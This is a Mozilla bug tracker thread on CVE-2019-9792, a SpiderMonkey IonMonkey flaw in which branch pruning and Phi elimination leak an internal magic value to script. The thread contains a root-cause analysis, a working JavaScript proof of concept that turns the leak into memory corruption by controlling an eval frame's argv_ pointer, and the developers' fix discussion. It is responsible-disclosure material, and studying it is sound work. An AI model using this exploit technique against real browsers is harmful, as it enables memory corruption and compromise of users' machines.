1532599 - (CVE-2019-9792) Spidermonkey: IonMonkey leaks JS_OPTIMIZED_OUT magic value to script

Status: RESOLVED FIXED

(Core :: JavaScript Engine: JIT, defect, P1)

Description

[Samuel Groß]

IonMonkey can, during a bailout, leak an internal JS_OPTIMIZED_OUT magic value to the running script. This magic value can then be used to achieve memory corruption.

Prerequisites

Magic Values

Spidermonkey represents JavaScript values with the C++ type JS::Value, which is a NaN-boxed value that can encode a variety of different types such as doubles, string pointers, integers, or object pointers. Besides the types available in JavaScript, JS::Value can also store special ("magic") values for various internal purposes. For example, JS_ELEMENTS_HOLE is used to represent holes in arrays, and JS_OPTIMIZED_ARGUMENTS represents the arguments object during a function call (so that no actual memory allocation is required for it).

Branch Pruning

IonMonkey (Spidermonkey's JIT engine) represents JavaScript code as a control-flow graph (CFG) of MIR (mid-level IR) instructions. When starting to compile a function, IonMonkey first translates the bytecode to MIR, keeping the same CFG. Afterwards, it tries to remove subtrees in the CFG that appear to not be used in order to save compilation time and potentially improve the result of various optimizations performed later. As an example, consider the following code, and assume further that in all previous executions only the if branch had been taken:

if (cond_that_has_always_been_true) {
    // do something
} else {
    // do something else
}

In this case, branch pruning would likely decide to discard the else branch entirely and instead replace it with a bailout instruction to bailout to the baseline JIT should the branch ever be taken:

if (cond_that_has_always_been_true) {
    // do something
} else {
    bailout();      // will continue execution in baseline JIT
}

Phi Elimination

IonMonkey's MIR uses static single assignment (SSA) form. In SSA form, every variable is assigned exactly once. Reassignments of variables on different branches in the CFG are handled with special Phi instructions. Consider the following example:

var x;
if (c) {
    x = 1337;
} else {
    x = 1338;
}
print(x);

After translation to SSA form it would look something like this:

if (c) {
    x1 = 1337;
} else {
    x2 = 1338;
}
x3 = Phi(x1, x2);
print(x3);

Phi Elimination is an optimization pass that tries to remove Phi instructions that are either redundant or unobservable (which frequently appear as result of SSA conversion and various optimizations). Quoting from the source code:

// Eliminates redundant or unobservable phis from the graph.  A
// redundant phi is something like b = phi(a, a) or b = phi(a, b),
// both of which can be replaced with a.  An unobservable phi is
// one that whose value is never used in the program.

Unobservalbe Phis are then replaced a special value, MagicOptimizedOut. In case of a bailout from the JIT, such an optimized-out value will be materialized as a JS_OPTIMIZED_OUT JS magic value. This should not be observable by script since the compiler was able to prove that the variable is never used. Spidermonkey can, however, not simply leave the slot for an optimized-out variable uninitialized as e.g. the garbage collector expects a valid JS::Value in it.

Phi elimination can lead to problems in combination with branch pruning. Consider the following example:

var only_used_in_else_branch = ...;
if (cond_that_has_always_been_true) {
    // do something, but don't use only_used_in_else_branch
} else {
    // do something else and use only_used_in_else_branch
}

Here again, branch pruning might decide to remove the else branch, in which case no use of the variable remains. As such, it would be replaced by a magic JS constant (JS_OPTIMIZED_OUT) in the JIT. Later, if the else branch was actually taken, the JIT code would perform a bailout and try to restore the variable. However, as it has been removed, it would now (incorrectly) restore it as JS_OPTIMIZED_OUT magic and continue using it in the baseline JIT, where it could potentially be observed by the executing script. To avoid this, branch pruning marks SSA variables that are used in removed blocks as "useRemoved", in which case the variables will not be optimized out.

Bug Description

While fuzzing Spidermonkey, I encountered the following sample which crashes Spidermonkey built from the current release branch:

function poc() {
    const x = "adsf";
    for (let v7 = 0; v7 < 2; v7++) {
        function v8() {
            let v13 = 0;
            do {
                v13++;
            } while (v13 < 1200000);
        }
        const v15 = v8();
        for (let v25 = 0; v25 < 100000; v25++) {
            if (x) {
            } else {
                const v26 = {get:v8};
                for (let v30 = 0; v30 < 1000; v30++) { }
            }
        }
    }
}
poc();

It appears what is happening here is roughly the following:

At the beginning of JIT compilation (somewhere in one of the inner loops), IonMonkey produces the following simplified CFG (annotated with the different SSA variables for x):

       +-------+
       |   0   +-----+
       | Entry |     |
       +-------+     |
   x1 = "asdf"       v
                 +-----------+
                 |     1     |
+--------------->| Loop Head |
|                +--+--------+
|                   |  x2 = Phi(x1, x5)
|                   +--------+
|                            v
|   +-----------+     +------------+
|   |     3     |     |    2...    |
|   | OSR Entry |     | Inlined v8 |
|   +-+---------+     +----------+-+
|     | x3 = osrval('x')         |
|     +---------+     +----------+
|               v     v
|           +-------------+
|           |      4      |
|           |    Merge    |
|           +-----------+-+
|      x4 = Phi(x3, x2) |
|                       v
|           +-------------+
|           |    5...     |
+-----------+ Inner Loop  |
            +-------------+
          x5 = Phi(x4, ..); use(x5);

Since the function is already executing in the baseline JIT, the JIT code compiled by IonMonkey will likely be entered via OSR at block 3 in the middle of the outer loop.

After producing the initial MIR code, IonMonkey performs branch pruning. During branch pruning, IonMonkey inspects the hit count of the bytecode (and performs some more heuristics), and decides that block 3 (or really the exit from the loop in v8) should be pruned and replaced with a bailout to the baseline JIT. The CFG then looks something like this:

       +-------+
       |   0   +-----+
       | Entry |     |
       +-------+     |
   x1 = "asdf"       v
                 +-----------+
                 |     1     |
+--------------->| Loop Head |
|                +--+--------+
|                   |  x2 = Phi(x1, x5)
|                   +--------+
|                            v
|   +-----------+     +------------+
|   |     3     |     |    2...    |
|   | OSR Entry |     | Inlined v8 |
|   +-+---------+     +------------+
|     | x3 = osrval(1)
|     +---------+        !! branch pruned !!
|               v
|           +-------------+
|           |      4      |
|           |    Merge    |
|           +-----------+-+
|      x4 = Phi(x3)     |
|                       v
|           +-------------+
|           |    5...     |
+-----------+ Inner Loop  |
            +-------------+
          x5 = Phi(x4, ..); use(x5);

Since there was no use of x2 in the removed code, x2 is not marked as "use removed". However, when removing the branch 2 -> 4, IonMonkey also removed x2 as input to the Phi for x4 as there is no longer a path between block 1 and block 4. This removal of a use without setting the useRemoved flag then leads to problems later on, in particular during Phi Elimination, which changes the code to the following:

       +-------+
       |   0   +-----+
       | Entry |     |
       +-------+     |
   x1 = "asdf"       v
                 +-----------+
                 |     1     |
+--------------->| Loop Head |
|                +--+--------+
|                   |  x2 = OPTIMIZED_OUT
|                   +--------+
|                            v
|   +-----------+     +------------+
|   |     3     |     |    2...    |
|   | OSR Entry |     | Inlined v8 |
|   +-+---------+     +------------+
|     | x3 = osrval(1)
|     +---------+        !! branch pruned !!
|               v
|           +-------------+
|           |      4      |
|           |    Merge    |
|           +-----------+-+
|      x4 = Phi(x3)     |
|                       v
|           +-------------+
|           |    5...     |
+-----------+ Inner Loop  |
            +-------------+
          x5 = Phi(x4, ..); use(x5);

Here, Phi Elimination decided that x2 is an unobservable Phi as it is not used anywhere. As such, it replaces it with a MagicOptimizedOut value. However, when block 2 is executed in the JITed code, it will perform a bailout and restore x as JS_OPTIMIZED_OUT magic value. This is incorrect as the interpreter/baseline JIT will use x once it reaches the inner loop. There, x (now the optimized out magic) is used for a ToBoolean conversion, which crashes (in a non exploitable way) when reaching this code:

JS_PUBLIC_API bool js::ToBooleanSlow(HandleValue v) {
  ...;
  MOZ_ASSERT(v.isObject());
  return !EmulatesUndefined(&v.toObject());     // toObject will return an invalid pointer for a magic value
}

A similar scenario is described in FlagPhiInputsAsHavingRemovedUses, which is apparently supposed to prevent this from happening by marking x2 as useRemoved during branch pruning. However, in this case, FlagPhiInputsAsHavingRemovedUses fails to mark x2 as useRemoved as it concludes that x4 is also unused: basically, FlagPhiInputsAsHavingRemovedUses invokes DepthFirstSearchUse to figure out whether some Phi is used by performing a depth-first search over all uses. If it finds a non-Phi use, it returns true. In block 5 above (which are really multiple blocks), x4 is used by another Phi, x5, which is then used by a "real" instruction. DepthFirstSearchUse now visits x5 and puts it into the worklist. It then eventually finds x4 and:

• finds x5 as use, but as x5 is already in the worklist it skips it
• finds no other uses, and thus (incorrectly?) marks x4 as unused

As such, x2 is later on not marked as useRemove since its only use (x4) appears to be unused anyways.

Exploitation

It is possible get a reference to the magic JS_OPTIMIZED_OUT value by changing the body of the inner for loop to something like this:

    for (let v25 = 0; v25 < 100000; v25++) {
        // Should never be taken, but will be after triggering the bug (because both v3 and v1
        // will be a JS_OPTIMIZED_OUT magic value).
        if (v3 === v1) {
            let magic = v3;
            console.log("Magic is happening!");
            // do something with magic
            return;
        }
        if (v1) {
        } else {
            const v26 = {get:v8};
            for (let v30 = 0; v30 < 1000; v30++) { }
        }
    }

Afterwards, the magic value will be stored in a local variable and can be freely used. What remains now is a way to use the magic value to cause further misbehaviour in the engine.

Spidermonkey uses different magic values in various places. These places commonly check for the existence of some specific magic value by calling .isMagic(expectedMagicType) on the value in question. For example, to check for the magic hole element, the code would invoke elem.isMagic(JS_ELEMENTS_HOLE). The implementation of isMagic is shown below:

bool isMagic(JSWhyMagic why) const {
  MOZ_ASSERT_IF(isMagic(), s_.payload_.why_ == why);
  return isMagic();
}

Interestingly, this way of implementing it makes it possible to supply a different magic value than the expected one while still causing this function to return true, thus making the caller believe that it has the right magic value. As such, the JS_OPTIMIZED_OUT magic value can, in many cases, be used as any other magic value in the code.

One interesting use of magic values is JS_OPTIMIZED_ARGUMENTS, representing the arguments object. The idea is that e.g.

function foo() {
    print(arguments[0]);
}

Gets compiled to bytecode like this:

push JS_OPTIMIZED_ARGUMENTS
LoadElem 0
call print

The special handling for the magic value is then performed here:

static bool DoGetElemFallback(JSContext* cx, BaselineFrame* frame,
                              ICGetElem_Fallback* stub, HandleValue lhs,
                              HandleValue rhs, MutableHandleValue res) {
  // ...

  bool isOptimizedArgs = false;
  if (lhs.isMagic(JS_OPTIMIZED_ARGUMENTS)) {
    // Handle optimized arguments[i] access.
    if (!GetElemOptimizedArguments(cx, frame, &lhsCopy, rhs, res,
                                   &isOptimizedArgs)) {
      return false;
    }

  // ...

Which eventually ends up in:

inline Value& InterpreterFrame::unaliasedActual(
  unsigned i, MaybeCheckAliasing checkAliasing) {
  MOZ_ASSERT(i < numActualArgs());
  MOZ_ASSERT_IF(checkAliasing, !script()->argsObjAliasesFormals());
  MOZ_ASSERT_IF(checkAliasing && i < numFormalArgs(),
                !script()->formalIsAliased(i));
  return argv()[i];         // really is just argv_[i];
}

An InterpreterFrame is an object representing the invocation context of a JavaScript function.
Basically, there are two types of InterpreterFrames: CallFrames, which are used for regular function calls and thus have the nactul_ (the number of arguments) and argv_ (a pointer to the argument values) members initialized, and ExecuteFrames, which are e.g. used for eval()ed code. Interestingly, ExecuteFrames leave nactual_ and argv_ uninitialized, which is normally fine as code would never access these fields in an ExecuteFrame. However, by having a reference to a magic value, it now becomes possible to trick the engine into believing that whatever frame is currently active is a CallFrame and thus has a valid argv_ pointer by loading an element from the magic value (magic[i] in JS). Conveniently, InterpreterFrames are allocated by a bump allocator, used solely for the interpreter stack. As such, the allocations are very deterministic and it is easily possible to overlap the uninitialized member with any other data that is stored on the interpreter stack, such as local variables of functions.

The following PoC (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this. It will first trigger the bug to leak the magic JS_OPTIMIZED_OUT value. Afterwards, it puts a controlled value (0x414141414141 in binary) on the interpreter stack (in fill_stack), then uses the magic value from inside an eval frame of which the argv_ pointer overlaps with the controlled value. Spidermonkey will then assume that the current frame must be a FunctionFrame and treat the value as an argv_ pointer, thus crashing at 0x414141414141.

// This function uses roughly sizeof(InterpreterFrame) + 14 * 8 bytes of interpreter stack memory.
function fill_stack() {
    // Use lot's of stack slots to increase the allocation size of this InterpreterFrame.
    var v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13;
    // Will overlap with the argv_ pointer in the InterpreterFrame for the call to eval.
    var v14 = 3.54484805889626e-310;
}

// This function uses roughly sizeof(InterpreterFrame) bytes of interpreter stack memory. The inner
// call to eval will get its own InterpreterFrame, which leaves the argv_ pointer uninitialized
// (since it's an eval frame). However, due to having a magic value here, it is possible to trick
// the interpreter into accessing argv_ (because it assumes that the magic value represents an
// `arguments` object). The argv_ pointer of the inner frame will then overlap with one of the
// variables of the previous function, and is thus fully controllable.
function trigger(magic) {
    eval(`magic[0]`);
}

// Invoke the two functions above to achieve memory corruption given a magic JS::Value.
function hax(magic) {
    fill_stack();
    trigger(magic);
}

function pwn() {
    const v1 = "adsf";
    const v3 = "not_asdf";
    for (let v7 = 0; v7 < 2; v7++) {
        function v8() {
            let v13 = 0;
            do {
                v13++;
            } while (v13 < 1200000);
            // If the previous loop runs long enough, IonMonkey will JIT compile v8 and enter the
            // JITed code via OSR. This will leave the hitCount for the loop exit in the interpreter
            // at 0 (because the exit is taken in JITed code). This in turn will lead to IonMonkey
            // pruning the loop exit when compiling pwn() (with inlined v8), as its heuristics
            // suggest that the branch is never taken (hitCount == 0 and a few more). This will then
            // lead to the incorrect removal of Phi nodes, and ultimately the leaking of a
            // JS_OPTMIZED_OUT magic value to the baseline JIT, where it is observable for the
            // current script.
        }
        const v15 = v8();
        for (let v25 = 0; v25 < 100000; v25++) {
            // Should never be taken, but will be after triggering the bug (because both v3 and v1
            // will be a JS_OPTIMIZED_OUT magic value).
            if (v3 === v1) {
                let magic = v3;
                console.log("Magic is happening!");
                hax(magic);
                return;
            }
            if (v1) {
            } else {
                const v26 = {get:v8};
                for (let v30 = 0; v30 < 1000; v30++) { }
            }
        }
    }
}
pwn();

Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

With any fix, please give credit for identifying the vulnerability to Samuel Groß of Google Project Zero.

Comment 1

[Samuel Groß]

Small typo: between the first two CFG graphs, it should say "... and decides that block 2 (or really the exit from the loop in v8) should be pruned" (block 2 instead of 3).

Comment 2

[Jan de Mooij [:jandem]]

NI nbp because it looks related to pranch pruning.

Comment 3

[Samuel Groß]

For completeness, here is the original sample found during fuzzing:

// run with --no-threads

function main() {
    const v1 = typeof parseInt;
    const v3 = v1 === "function";
    for (let v7 = 0; v7 < 4; v7++) {
        function v8(v9,v10) {
            let v13 = 0;
            do {
                const v14 = v13 + 1;
                v13 = v14;
            } while (v13 < 1337);
        }
        const v15 = v8();
        const v17 = [13.37,13.37];
        for (let v21 = 0; v21 < 7; v21++) {
            for (let v25 = 0; v25 < 100; v25++) {
                if (v3) {
                } else {
                    const v26 = {get:v8};
                    for (let v30 = 0; v30 < 100; v30++) {
                    }
                }
            }
        }
    }
}
main();

Comment 4

[Nicolas B. Pierron [:nbp]]

Thanks a lot, this analysis is really useful and will allow us to fix this issues at multiple stages of the program.

(In reply to Samuel Groß from comment #0)

With any fix, please give credit for identifying the vulnerability to Samuel Groß of Google Project Zero.

I will!

Comment 5

[Nicolas B. Pierron [:nbp]]

FlagPhiInputsAsHavingRemovedUses got rewritten in Bug 1489142, which most likely introduced this bug by changing the logic of the function, by adding the DepthFirstSearchUse.

The issue might be present on esr60, we should double check it as the algorithm was different.

Comment 6

[Nicolas B. Pierron [:nbp]]

Attachment: (central & beta) Bug 1532599 - Force expected crashes on unexpected magic values.

Comment 7

[Nicolas B. Pierron [:nbp]]

(In reply to Nicolas B. Pierron [:nbp] from comment #6)

Created attachment 9048557 [details]
Bug 1532599 - Force expected crashes on unexpected magic values.

This patch prevent leveraging a non-matching magic value to become exploitable, by forcing SpiderMonkey to crash on unexpected magic values.

I will now look at branch pruning issue.

Comment 8

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9048557 [details]
(central & beta) Bug 1532599 - Force expected crashes on unexpected magic values.

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Hardly based on this one, it hint at miss-interpreted magic value, but it would be a long and involve process to figure out the issue reported in this bug.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?: The same patch should apply to all branches.
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely, this patch converts a debug assertion to a release assertion in order to prevent this bug from being exploitable.
  (A proper patch to fix the original issue is coming soon but would be more risky)

Comment 9

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9048557 [details]
(central & beta) Bug 1532599 - Force expected crashes on unexpected magic values.

Sec-approval+ for trunk. We'll want beta and ESR60 patches ASAP as well. We're cutting an RC soon.

Comment 10

[Al Billings [:abillings - ex-MoCo]]

Actually, I see ESR60 is marked "?" in status but you say "all" versions in the sec-approval. We should determine if this affects ESR60 or not.

Comment 11

[Nicolas B. Pierron [:nbp]]

(In reply to Al Billings [:abillings] from comment #10)

Actually, I see ESR60 is marked "?" in status but you say "all" versions in the sec-approval. We should determine if this affects ESR60 or not.

I do not know if the Branch Pruning issue is affecting esr60 or not. However, the miss-interpreted Magic value which is used to leverage the original bug and convert it into an exploitable bug can safely be backported to all versions. (as we have been asserting for a very long time that this condition was supposed to be true)

Comment 12

[Nicolas B. Pierron [:nbp]]

Setting the leave-open keyword for the moment as the current patch which is going to be landed is not the Branch Pruning patch but a way to prevent us from making the branch pruning issue exploitable.

I am currently working on a branch pruning fix, which is unfortunately much more complex.

Comment 13

[Nicolas B. Pierron [:nbp]]

Attachment: Bug 1532599 - Force expected crashes on unexpected magic values.

Comment 14

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9048557 [details]
(central & beta) Bug 1532599 - Force expected crashes on unexpected magic values.

Beta/Release Uplift Approval Request

• Feature/Bug causing the regression: None
• User impact if declined: An attacker can leverage the current code to make a benign issue exploitable. This patch convert this leveraged code-path into an expected crash.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: (none)
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): This patch convert a debug assertion into a release assertion.
• String changes made/needed: N/A

Comment 15

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9049131 [details]
Bug 1532599 - Force expected crashes on unexpected magic values.

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: The current patch convert a sec-critical issue into a controlled crash.
• User impact if declined: An attacker can leverage the current code to make a benign issue exploitable. This patch convert this leveraged code-path into an expected crash.
• Fix Landed on Version: 67
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): This patch convert a debug assertion into a release assertion.
• String or UUID changes made by this patch: N/A

Comment 16

[Nicolas B. Pierron [:nbp]]

Attachment: Bug 1532599 - Prevent DepthFirstSearchUse from eagerly marking Phi as unused.

Comment 17

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9049207 [details]
Bug 1532599 - Prevent DepthFirstSearchUse from eagerly marking Phi as unused.

This patch fixes the Branch Pruning issue. The problem was that we were visiting a tree which is a sub-set of the list of uses of a given Phi instruction. As we visit the tree of uses, we have to prevent looping infinitely through Phi instructions which we have already visited.

To avoid infinite loop, the DepthFirstSearchUse function was skipping the instructions which were in the work-list, but by doing so failed to take into account the usage analysis of this skipped instruction. Thus a set of instructions were reported as being unused as (used-)skipped instructions did not contribute to flag all the Phi instruction of the loop as being used.

Consequently, this left some part of the graph with Phi instructions marked as unused, which is later converted to the magic optimized-out constant.

To fix this issue, we have to refrain the conclusion of flagging any Phi of a loop as Unused until we have visited all the Phi of the loop. To do so, I added 2 new PhiUsage states, named Undecided and UndecidedHeader. These states are made to record the sequences of Phi involved in loops and record the Phi instruction which would be used to identify whether a loop is used or not.

When skipping a Phi instruction which is in the worklist, this implies that we identified a loop. Thus we mark every Phi in-between as being Undecided and the Phi as being UndecidedHeader as this is the first instruction of the loop visited with the depth-first-search. (Note: this might not be the Phi of the loop header)

When visiting an UndecidedHeader, we iterate over all operands which are marked as Undecided to flag them either as Used or Unused.

Comment 18

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9048557 [details]
(central & beta) Bug 1532599 - Force expected crashes on unexpected magic values.

Forces us to crash instead of getting into exploitable situations. Approved for 66.0rc1 and 60.6esr.

Comment 19

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/integration/autoland/rev/04d9abc278fad265656f3ed797f19b26becf1493
https://hg.mozilla.org/mozilla-central/rev/04d9abc278fa

Comment 20

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-beta/rev/5f4ba71d48892ddfc9e800aec521a46eaae175fd
https://hg.mozilla.org/releases/mozilla-esr60/rev/c2c87ed541e9358436efd59014e8d0cdc3eb4d1f

Comment 21

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out from esr60 for bustage in Value.h:

https://hg.mozilla.org/releases/mozilla-esr60/rev/8e10c96cda3c97328c5c86edbb0848396917c3be

Push with bustage: https://treeherder.mozilla.org/#/jobs?repo=mozilla-esr60&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&selectedJob=232395369&revision=c2c87ed541e9358436efd59014e8d0cdc3eb4d1f
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=232615853&repo=mozilla-esr60
[task 2019-03-08T09:56:10.495Z] 09:56:10 INFO - /builds/worker/workspace/build/src/obj-firefox/dist/include/js/Value.h:590:29: error: 'const union JS::Value::layout' has no member named 's_'; did you mean 's'?
[task 2019-03-08T09:56:10.495Z] 09:56:10 INFO - MOZ_RELEASE_ASSERT(data.s_.payload_.why_ == why);
[task 2019-03-08T09:56:10.496Z] 09:56:10 INFO - ^

Line in current es60: https://hg.mozilla.org/releases/mozilla-esr60/file/ad8aa9fd2b56a3cba902f4468a38bbce4219e9f9/js/public/Value.h#l587

MOZ_ASSERT_IF(isMagic(), data.s.payload.why == why);

On central: https://searchfox.org/mozilla-central/rev/b2d35912da5b2acecb0274eb113777d344ffb75e/js/public/Value.h#659

Changed by bug 1511181 (reformat to Google code style).

Relanded with the underscores removed: https://hg.mozilla.org/releases/mozilla-esr60/rev/46cd002b38f3244853d8baad318daa3c5eb51733

Comment 22

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out because fix had been amended into the other patch which got pushed with this: https://hg.mozilla.org/releases/mozilla-esr60/rev/e04b9507d08639f5537ab9db90e22d220eadd52d

Relanded: https://hg.mozilla.org/releases/mozilla-esr60/rev/0da96d1212e3281e518b7540d3122871a29e07bf

Comment 23

[Nicolas B. Pierron [:nbp]]

Attachment: Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

Comment 24

[Nicolas B. Pierron [:nbp]]

(In reply to Nicolas B. Pierron [:nbp] from comment #23)

Created attachment 9050674 [details]
Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

This branch implement the conservative approach, which would prevent any optimized-out on Phi which are within a loop if branch pruning ever remove a block either before a loop or within a loop.

Comment 25

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9050674 [details]
Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

Security Approval Request

• How easily could an exploit be constructed based on the patch?: This patch and the comment highlight the issue, but thanks to the previous back-ported to all branches, this should hopefully not be exploitable. This would only cause a controlled crash with the MOZ_RELEASE_ASSERT inserted in the previous patch.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?: 61+
• If not all supported branches, which bug introduced the flaw?: Bug 1489142
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Easy / Trivial.
• How likely is this patch to cause regressions; how much testing does it need?: This patch does the same early return as done in the previous condition, this is safe as this would mark instruction as having-removed-uses and as such prevent optimizations which are replacing unused instructions by optimized out values. This modification change the algorithm to be conservative instead of being precise, which is ok.
• Do you want to request approval of these patches as well?: on

Comment 26

[Nicolas B. Pierron [:nbp]]

(In reply to Nicolas B. Pierron [:nbp] from comment #25)

• How likely is this patch to cause regressions; how much testing does it need?: This patch does the same early return as done in the previous condition, this is safe as this would mark instruction as having-removed-uses and as such prevent optimizations which are replacing unused instructions by optimized out values. This modification change the algorithm to be conservative instead of being precise, which is ok.

There is a concern about potential performance regression to be watched on nightly when running JS benchmarks. So far I have not noticed anything in particular on Octane nor our misc-js benchmarks.

Comment 27

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9050674 [details]
Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

Sec-approval+ for trunk. Let's see how it performs on nightly.

Comment 28

[Samuel Groß]

It appears to me that you consider the way a JS_MAGIC value was turned into memory corruption to be the real security issue here (because only that part is currently fixed and the advisory is already public) rather than the JIT logic bug that lead to the value being leaked to running JS code. Is that correct? I just wanted to check with you before the bug report in our tracker is derestricted :)

Comment 29

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Branch Pruning: Flag all Phi loops as used. r=jandem
https://hg.mozilla.org/integration/autoland/rev/044a64c70a3b7072f1d9e00097b7a8745f43e709
https://hg.mozilla.org/mozilla-central/rev/044a64c70a3b

Comment 30

[Nicolas B. Pierron [:nbp]]

(In reply to Samuel Groß from comment #28)

It appears to me that you consider the way a JS_MAGIC value was turned into memory corruption to be the real security issue here (because only that part is currently fixed and the advisory is already public) rather than the JIT logic bug that lead to the value being leaked to running JS code. Is that correct? I just wanted to check with you before the bug report in our tracker is derestricted :)

Thanks for asking for clarification.

No, I just wanted to attack this issue from all sides. The other reason is that fixing the logic in the JIT might have been complicated. Therefore, we much prefer a controlled null-pointer crash than an exploitable crash.

The first patch which got backported to our ESR version (comment 19, comment 20 and comment 22) is to prevent leveraging a Magic value into an exploit. This patch alone does not give any good hint into what code might be used to create such exploit.

The second and third patches are iterations to prevent the Magic value from being produced by the JIT. The third patch just landed in mozilla central (comment 29) and we would backport it to affected branches soon. This should fix the non-exploitable null-pointer crashes from the first patch.

The second patch, which is more complicated, would be moved to a new bug as a performance improvement on top of the third patch.

I will let Al answer whether we can open the bug, before the third path (JIT fix from comment 29) reaches all versions.

Comment 31

[Samuel Groß]

That sounds good, thanks for clarifying! I'll wait for a response from Al.

Comment 32

[Nicolas B. Pierron [:nbp]]

Comment on attachment 9050674 [details]
Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

Beta/Release Uplift Approval Request

• Feature/Bug causing the regression: Bug 1489142
• User impact if declined: Fix null-deref crashes (mitigation introduced by the previously backported patch from the same bug)
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): This change is not risky in terms of security. It change the algorithm to take a conservative approach which will eagerly flag loops of Phi as having uses even if there is none.

However performance-wise this might impact the set of optimization we could do by keeping too many live operation where we used to be able to remove them. (such as on micro-benchmarks) So far arewefastyet.com did not report any regressions since comment 29.

• String changes made/needed: N/A
• Do you want to request approval of these patches as well?: on

Comment 33

[Nicolas B. Pierron [:nbp]]

Removing leave-open keyword and marking this bug as Fixed since attachment 9049131 [details] and attachment 9050674 [details] are both landed.

Comment 34

[Pascal Chevrel:pascalc]

Comment on attachment 9050674 [details]
Bug 1532599 - Branch Pruning: Flag all Phi loops as used.

We already took an uplift for release to make it a safe crash in 66 so we don't need an uplift to release but we can take an uplift to 67 beta 6 (beta 5 is already built) as it is affected and let it ride the trains. Thanks.

Comment 35

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/fd088f468f864c7328268f7b840ed8cbca1fde4c

Comment 36

[Daniel Veditz [:dveditz]]

The bug state here is a bit of a mess. Parts are fixed in 66.0.1 and ESR-60 with an advisory, and parts are only fixed on 67. Don't we need an ESR version of the additions, too, per comment 30? A dependent or "task" bug to track the landing of the other bits would have helped keep this straight.

Please don't unhide this bug until we've shipped the complete set of patches (Firefox 67).

Comment 37

[Samuel Groß]

Ok thanks! I'll leave the issue restricted until the Firefox 67 release, which should still be well within the 90 day deadline

Comment 38

[Nicolas B. Pierron [:nbp]]

(In reply to Daniel Veditz [:dveditz] from comment #36)

Don't we need an ESR version of the additions, too, per comment 30?

No, because it fixes the issue introduced in Bug 1489142, which only landed on Firefox 65.
(see uplift request comment 32)

Comment 39

[Andrew McCreight [:mccr8]]

The Project Zero report is public now.